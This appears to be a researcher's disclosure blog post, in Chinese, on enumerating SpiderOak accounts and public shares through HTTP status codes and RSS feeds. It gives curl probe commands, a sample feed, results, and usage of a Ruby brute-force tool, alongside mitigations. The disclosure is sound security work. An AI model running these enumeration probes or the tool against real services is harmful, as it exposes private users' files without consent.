Spidering SpiderOak
大约两年前,我研究了如何枚举Amazon Buckets和Mobile Me上的公共共享内容。2012年初开始使用SpiderOak时,发现该服务也提供数据共享功能,于是决定研究其实现机制是否同样存在可枚举问题。简而言之,漏洞确实存在。2012年3月初,我将发现结果连同演示代码提交给SpiderOak安全团队,他们确认收到邮件并表示将着手修复。
2012年4月初,我考虑在BSides London会议上分享该研究,因此询问SpiderOak修复时间线。4月13日得到回复称修复将在会议前完成,且欢迎进行技术分享。最终我改为演讲《Breaking in to Security》主题,暂时搁置了SpiderOak的研究。
近期Rapid 7发布关于Amazon Buckets的研究引发关注,促使我重新测试SpiderOak漏洞——结果依然有效,现将完整技术细节公开。
工作原理
枚举机制通过HTTP返回状态识别有效账户,再通过RSS订阅源定位有效共享文件。具体流程如下:
-
账户枚举
请求存在的账户(即使共享不存在)返回200状态码:1 2 3 4
$ curl -I https://spideroak.com/browse/share/digi_public/not_exist HTTP/1.1 200 OK Server: nginx/0.7.64 ...
不存在的账户返回404:
1 2 3
$ curl -I https://spideroak.com/browse/share/digi_public_not_exist/not_exist HTTP/1.1 404 Not Found ...
-
共享文件探测
检查页面头部是否存在RSS链接:1 2
curl -s https://spideroak.com/browse/share/digi_public/does_exist|grep RSS <link rel="alternate" type="application/rss+xml" ... />
有效共享的RSS链接返回200,无效共享返回404:
1 2 3
$ curl -I https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss HTTP/1.1 200 OK ...
-
文件列表获取
有效RSS订阅源包含完整的文件元数据:1 2 3 4 5 6 7 8 9 10 11
<?xml version="1.0" encoding="utf-8"?> <feed xmlns="http://www.w3.org/2005/Atom"> <title>does_exist: SpiderOak Share Feed by digi_public</title> <entry> <title>a_text_file.txt</title> <content type="html"><![CDATA[ <p>Size: 2915999<br> Date modified: 2012-06-21 07:54:23</p> ]]></content> </entry> </feed>
实测发现
- 使用2268个常见用户名测试,发现615个有效账户(27.1%命中率)
- 对58个常见共享名测试,在14个账户中发现97个文件
- 暴露文件类型包括:圣诞派对照片、音乐专辑、CISSP电子书、疑似成人视频
- 企业名称测试显示账户存在但未发现有效共享
修复建议
-
漏洞层面
- 统一返回404状态码及相同响应头格式
- 消除账户存在性探测差异
-
防护机制
- 实施请求频率限制(测试中发起37,938次请求未被拦截)
- 建立异常行为监控告警系统
- 设置低阈值IP封锁策略
用户防护措施
- 遵循最小共享原则
- 将共享名视为密码级别设置
- 及时撤销不再需要的共享
共享安全性质疑
与SpiderOak宣传的"零知识加密"原则矛盾点:
- 共享文件仅依赖共享名保护(非主密码加密)
- 服务端可能明文存储共享列表或通过日志泄露
- 理论上内部人员可能通过日志分析获取共享访问权限
检测工具使用
提供开源检测工具Spider Finder 1.0:
- Ruby编写,无需特殊依赖库
- 支持账户列表和共享名字典爆破
- 示例用法:
1
$ ./spider_finder.rb --log-file scan.log username_list.txt common_folders.txt
作者声明
尽管存在漏洞,作者仍继续使用SpiderOak服务,认为其整体安全设计优于Dropbox等竞品。所有测试数据已做匿名化处理,未实际下载用户文件。
特别感谢BruCON 5x5奖项对本研究的支持。如需技术细节讨论或漏洞修正,可通过文末联系方式与作者直接沟通。